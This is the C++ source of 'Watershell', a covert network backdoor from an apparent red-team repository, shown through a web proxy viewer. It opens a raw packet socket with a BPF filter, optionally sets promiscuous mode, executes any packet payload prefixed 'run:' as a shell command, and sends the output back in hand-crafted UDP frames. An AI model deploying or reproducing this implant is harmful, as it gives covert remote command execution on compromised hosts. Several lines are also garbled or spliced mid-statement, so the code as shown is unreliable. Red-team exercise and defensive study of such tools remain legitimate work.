[ Web Proxy ]
URL:
Viewing: https://raw.githubusercontent.com/RITRedteam/watershell-cpp/master/watershell.cpp [Back]  [Original]

#include "watershell.h"

// Constructor
Watershell::Watershell(int port) { Watershell(port, false); }
Watershell::Watershell(int port, bool DEBUG) {
  Watershell(port, DEBUG, false, false);
}

Watershell::Watershell(int port, bool DEBUG, bool PROMISC, bool TCP_MODE) {
  this->port = port;
  this->DEBUG = DEBUG;
  this->PROMISC = PROMISC;
  this->TCP_MODE = TCP_MODE;

  memset(this->iface, '\0', sizeof(this->iface));
  this->GetInterfaceName(this->iface);

  /* BPF code generated with tcpdump -dd udp and port 12345
   * used to filter incoming packets at the socket level
   */
  struct sock_filter bpf_code[] = {
      {0x28, 0, 0, 0x0000000c},  {0x15, 0, 6, 0x000086dd},
      {0x30, 0, 0, 0x00000014},  {0x15, 0, 15, 0x00000011},
      {0x28, 0, 0, 0x00000036},  {0x15, 12, 0, 0x00003039},  // 5
      {0x28, 0, 0, 0x00000038},  {0x15, 10, 11, 0x00003039}, // 7
      {0x15, 0, 10, 0x00000800}, {0x30, 0, 0, 0x00000017},
      {0x15, 0, 8, 0x00000011},  {0x28, 0, 0, 0x00000014},
      {0x45, 6, 0, 0x00001fff},  {0xb1, 0, 0, 0x0000000e},
      {0x48, 0, 0, 0x0000000e},  {0x15, 2, 0, 0x00003039}, // 15
      {0x48, 0, 0, 0x00000010},  {0x15, 0, 1, 0x00003039}, // 17
      {0x6, 0, 0, 0x0000ffff},   {0x6, 0, 0, 0x00000000},
  };

  bpf_code[5].k = this->port;
  bpf_code[7].k = this->port;
  bpf_code[15].k = this->port;
  bpf_code[17].k = this->port;

  /* BPF code generated with tcpdump -dd tcp and port 12345
   * used to filter incoming packets at the socket level
   */
  struct sock_filter bpf_code_tcp[] = {
      {0x28, 0, 0, 0x0000000c},  {0x15, 0, 6, 0x000086dd},
      {0x30, 0, 0, 0x00000014},  {0x15, 0, 15, 0x00000006},
      {0x28, 0, 0, 0x00000036},  {0x15, 12, 0, 0x00003039},  // 5
      {0x28, 0, 0, 0x00000038},  {0x15, 10, 11, 0x00003039}, // 7
      {0x15, 0, 10, 0x00000800}, {0x30, 0, 0, 0x00000017},
      {0x15, 0, 8, 0x00000006},  {0x28, 0, 0, 0x00000014},
      {0x45, 6, 0, 0x00001fff},  {0xb1, 0, 0, 0x0000000e},
      {0x48, 0, 0, 0x0000000e},  {0x15, 2, 0, 0x00003039}, // 15
      {0x48, 0, 0, 0x00000010},                            // 17
      {0x15, 0, 1, 0x00003039},  {0x6, 0, 0, 0x00040000},
      {0x6, 0, 0, 0x00000000},
  };

  bpf_code_tcp[5].k = this->port;
  bpf_code_tcp[7].k = this->port;
  bpf_code_tcp[15].k = this->port;
  bpf_code_tcp[17].k = this->port;

  /* startup a raw socket, gets raw ethernet frames containing IP packets
   * directly from the interface, none of this AF_INET shit
   */
  this->sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
  if (this->sockfd < 0) {
    if (this->DEBUG)
      std::perror("socket");
    exit(1);
  }

  /* setup ifreq struct and SIGINT handler
   * make sure we can issue an ioctl to the interface
   */
  this->sifreq = (ifreq *)malloc(sizeof(struct ifreq));
  // std::signal(SIGINT, this->Sigint);
  std::strncpy(this->sifreq->ifr_name, this->iface, IFNAMSIZ);
  if (ioctl(this->sockfd, SIOCGIFFLAGS, this->sifreq) == -1) {
    if (this->DEBUG)
      std::perror("ioctl SIOCGIFFLAGS");
    close(this->sockfd);
    free(this->sifreq);
    exit(0);
  }

  // set up promisc mode if enabled
  if (this->PROMISC) {
    this->sifreq->ifr_flags |= IFF_PROMISC;
    if (ioctl(this->sockfd, SIOCSIFFLAGS, this->sifreq) == -1)
      if (this->DEBUG)
        std::perror("ioctl SIOCSIFFLAGS");
  }

  // apply the packet filter code to the socket
  this->filter.len = 20;
  if (this->TCP_MODE) {
    this->filter.filter = bpf_code_tcp;
  } else {
    this->filter.filter = bpf_code;
  }

  // if (setsockopt(this->sockfd, SOL_SOCKET, SO_ATTACH_FILTER,
  //                &(this->filter), sizeof(this->filter)) < 0)
  if (setsockopt(this->sockfd, SOL_SOCKET, SO_ATTACH_FILTER, &(this->filter),
                 sizeof(this->filter)) < 0)
    if (this->DEBUG)
      std::perror("setsockopt");
}

void Watershell::Init() { this->SetGatewayMAC(); }

int Watershell::RunOnce() {
  int n;
  unsigned char buf[2048];
  char *data;
  struct iphdr *ip;
  struct udphdr *udp;
  struct tcphdr *tcp;

  memset(buf, 0, 2048);
  // get a packet, and tear it apart, look for keywords
  // if a service is running we don't have to do an ack.
  if (this->TCP_MODE) {
    n = recvfrom(this->sockfd, buf, 2048, 0, NULL, NULL);
    ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
    tcp = (struct tcphdr *)(buf + ip->ihl * 4 + sizeof(struct ethhdr));
    data = (char *)((buf + 66));

    // for (int i = 0; i < 96; i++) {
    //   if (i % 29 == 0) {
    //     std::cout ihl * 4 + sizeof(struct ethhdr));
    data = (char *)((buf + ip->ihl * 4 + 8 + sizeof(struct ethhdr)));
  }

  std::cout SendReplyUDP(buf, "up");
    }
  }

  // run a command if the data is prefixed with run:
  if (!std::strncmp(data, "run:", 4)) {

    int out = open("/dev/null", O_WRONLY);
    int err = open("/dev/null", O_WRONLY);
    dup2(out, 0);
    dup2(err, 2);

    FILE *fd;
    fd = popen(data + 4, "r");
    if (!fd)
      return -1;

    char buffer[256];
    size_t chread;
    /* String to store entire command contents in */
    size_t comalloc = 256;
    size_t comlen = 0;
    unsigned char *comout = (unsigned char *)malloc(comalloc);

    /* Use fread so binary data is dealt with correctly */
    while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
      if (comlen + chread >= comalloc) {
        comalloc *= 2;
        comout = (unsigned char *)realloc(comout, comalloc);
      }
      memmove(comout + comlen, buffer, chread);
      comlen += chread;
    }

    pclose(fd);
    int i = 0;
    std::string cmdOutStr(reinterpret_cast((comout)));
    std::string chunk;
    while (i < cmdOutStr.size()) {
      int offset = (i + 1024) < cmdOutStr.size() ? 1024 : cmdOutStr.size() - i;
      chunk = cmdOutStr.substr(i, offset);
      if (!this->TCP_MODE) {
        this->SendReplyUDP(buf, chunk.c_str());
      }
      i += 1024;
    }
  }
}

std::string Watershell::GetMacFromIP(char *ip_addr) {
  std::ifstream arp_file("/proc/net/arp", std::ifstream::in);
  std::regex mac_regex(std::string("^") + ip_addr +
                       std::string("\\s*\\w*\\s*\\w*\\s*([\\w:]*)"));

  // skip first line
  arp_file.ignore(std::numeric_limits::max(), '\n');
  std::string line;
  while (getline(arp_file, line)) {
    std::smatch mac_match;
    if (std::regex_search(line, mac_match, mac_regex)) {
      return mac_match[1];
    }
  }
}

void Watershell::SetGatewayMAC() {
  std::ifstream route_file("/proc/net/route", std::ifstream::in);
  std::regex route_regex(std::string("^") + this->iface +
                         std::string("\\s*00000000\\s*([A-Z0-9]{8})"));
  // skip first line
  route_file.ignore(std::numeric_limits::max(), '\n');
  std::string line;
  while (getline(route_file, line)) {
    std::smatch route_match;
    if (std::regex_search(line, route_match, route_regex)) {
      unsigned int ip;
      std::stringstream ss;
      ss  ip;
      struct in_addr addr;
      addr.s_addr = htonl(ip);
      /* Reverse the bytes in the binary address */
      addr.s_addr = ((addr.s_addr & 0xff000000) >> 24) |
                    ((addr.s_addr & 0x00ff0000) >> 8) |
                    ((addr.s_addr & 0x0000ff00) GetMacFromIP(ip_addr);
    }
  }
}

void Watershell::GetInterfaceName(char iface[]) {
  const char *google_dns_server = "8.8.8.8";
  int dns_port = 53;
  int sock, err;

  char buf[32];
  char buffer[100];

  struct ifaddrs *addrs, *iap;
  struct sockaddr_in *sa;
  struct sockaddr_in serv;
  struct sockaddr_in name;

  sock = socket(AF_INET, SOCK_DGRAM, 0);

  memset(&serv, 0, sizeof(serv));
  serv.sin_family = AF_INET;
  serv.sin_addr.s_addr = inet_addr(google_dns_server);
  serv.sin_port = htons(dns_port);

  err = connect(sock, (const struct sockaddr *)&serv, sizeof(serv));

  socklen_t namelen = sizeof(name);
  err = getsockname(sock, (struct sockaddr *)&name, &namelen);

  const char *p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100);

  getifaddrs(&addrs);
  for (iap = addrs; iap != NULL; iap = iap->ifa_next) {
    if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) &&
        iap->ifa_addr->sa_family == AF_INET) {
      sa = (struct sockaddr_in *)(iap->ifa_addr);
      inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf,
                sizeof(buf));
      if (!strcmp(p, buf)) {
        strncpy(iface, iap->ifa_name, strlen(iap->ifa_name));
        // interface_name = iap->ifa_name;
        break;
      }
    }
  }

  freeifaddrs(addrs);
  close(sock);
}

void Watershell::SendReplyUDP(unsigned char *buf, const char *payload) {
  struct udpframe frame;
  struct sockaddr_ll saddrll;
  struct sockaddr_in sin;
  int len;

  // setup the data
  std::memset(&frame, 0, sizeof(frame));
  std::memcpy(frame.data, payload, std::strlen((char *)payload));

  // get the ifindex
  if (ioctl(this->sockfd, SIOCGIFINDEX, this->sifreq) == -1) {
    if (this->DEBUG) {
      std::perror("ioctl SIOCGIFINDEX");
    }
    return;
  }

  // layer 2
  saddrll.sll_family = PF_PACKET;
  saddrll.sll_ifindex = this->sifreq->ifr_ifindex;
  saddrll.sll_halen = ETH_ALEN;
  std::memcpy((void *)saddrll.sll_addr,
              (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN);
  std::memcpy((void *)frame.ehdr.h_source,
              (void *)(((struct ethhdr *)buf)->h_dest), ETH_ALEN);
  std::memcpy((void *)frame.ehdr.h_dest,
              (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN);
  frame.ehdr.h_proto = htons(ETH_P_IP);

  // layer 3
  frame.ip.version = 4;
  frame.ip.ihl = sizeof(frame.ip) / 4;
  frame.ip.id = htons(69);
  frame.ip.frag_off |= htons(IP_DF);
  frame.ip.ttl = 64;
  frame.ip.tos = 0;
  frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) +
                           std::strlen((char *)payload));
  frame.ip.saddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->daddr;
  frame.ip.daddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->saddr;
  frame.ip.protocol = IPPROTO_UDP;

  // layer 4

  frame.udp.source =
      ((struct udphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr)))
          ->dest;
  frame.udp.dest =
      ((struct udphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr)))
          ->source;
  frame.udp.len = htons(strlen((char *)payload) + sizeof(frame.udp));

  // checksumsstrncpy
  // udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
  this->CalcIPChecksum(&frame.ip);

  // calculate total length and send
  len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) +
        std::strlen((char *)payload);
  sendto(this->sockfd, (char *)&frame, len, 0, (struct sockaddr *)&saddrll,
         sizeof(saddrll));
}

void Watershell::SendReplyTCP(unsigned char *buf, const char *payload) {
  struct tcpframe frame;
  struct sockaddr_ll saddrll;
  struct sockaddr_in sin;
  int len;

  // setup the data
  std::memset(&frame, 0, sizeof(frame));
  std::memcpy(frame.data, payload, std::strlen((char *)payload));

  // get the ifindex
  if (ioctl(this->sockfd, SIOCGIFINDEX, this->sifreq) == -1) {
    if (this->DEBUG) {
      std::perror("ioctl SIOCGIFINDEX");
    }
    return;
  }

  // layer 2
  saddrll.sll_family = PF_PACKET;
  saddrll.sll_ifindex = this->sifreq->ifr_ifindex;
  saddrll.sll_halen = ETH_ALEN;
  std::memcpy((void *)saddrll.sll_addr,
              (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN);
  std::memcpy((void *)frame.ehdr.h_source,
              (void *)(((struct ethhdr *)buf)->h_dest), ETH_ALEN);
  std::memcpy((void *)frame.ehdr.h_dest,
              (void *)(((struct ethhdr *)buf)->h_source), ETH_ALEN);
  frame.ehdr.h_proto = htons(ETH_P_IP);

  // layer 3
  frame.ip.version = 4;
  frame.ip.ihl = sizeof(frame.ip) / 4;
  frame.ip.id = htons(69);
  frame.ip.frag_off |= htons(IP_DF);
  frame.ip.ttl = 64;
  frame.ip.tos = 0;
  frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.tcp) +
                           std::strlen((char *)payload));
  frame.ip.saddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->daddr;
  frame.ip.daddr = ((struct iphdr *)(buf + sizeof(struct ethhdr)))->saddr;
  frame.ip.protocol = IPPROTO_UDP;

  // layer 4

  frame.tcp.source =
      ((struct tcphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr)))
          ->dest;
  frame.tcp.dest =
      ((struct tcphdr *)(buf + sizeof(struct ethhdr) + sizeof(struct iphdr)))
          ->source;
  // frame.tcp.len = htons(strlen((char *)payload) + sizeof(frame.tcp));

  // // checksumsstrncpy
  // // udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
  // this->CalcIPChecksum(&frame.ip);

  // // calculate total length and send
  // len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct
  // iphdr)
  // +
  //       std::strlen((char *)payload);
  // sendto(this->sockfd, (char *)&frame, len, 0, (struct sockaddr *)&saddrll,
  //        sizeof(saddrll));
}

// Watershell::Sigint(int signum){
//   //if promiscuous mode was on, turn it off
//   if (this->PROMISC){
//       if (ioctl(this->sockfd, SIOCGIFFLAGS, this->sifreq) == -1){
//           if (this->DEBUG) std::perror("ioctl GIFFLAGS");
//       }
//       sifreq->ifr_flags ^= IFF_PROMISC;
//       if (ioctl(this->sockfd, SIOCSIFFLAGS, this->sifreq) == -1){
//           if (this->DEBUG) std::perror("ioctl SIFFLAGS");
//       }
//   }
//   //shut it down!
//   free(this->sifreq);
//   close(this->sockfd);
//   //exit(1);
// }

void Watershell::CalcIPChecksum(struct iphdr *ip) {
  unsigned int count = ip->ihl check = 0;
  while (count > 1) {
    sum += *addr++;
    count -= 2;
  }
  if (count > 0)
    sum += ((*addr) & htons(0xFFFF));
  while (sum >> 16)
    sum = (sum & 0xFFFF) + (sum >> 16);
  sum = ~sum;
  ip->check = (unsigned short)sum;
}

Web Proxy Viewer  |  New URL  |  Original Page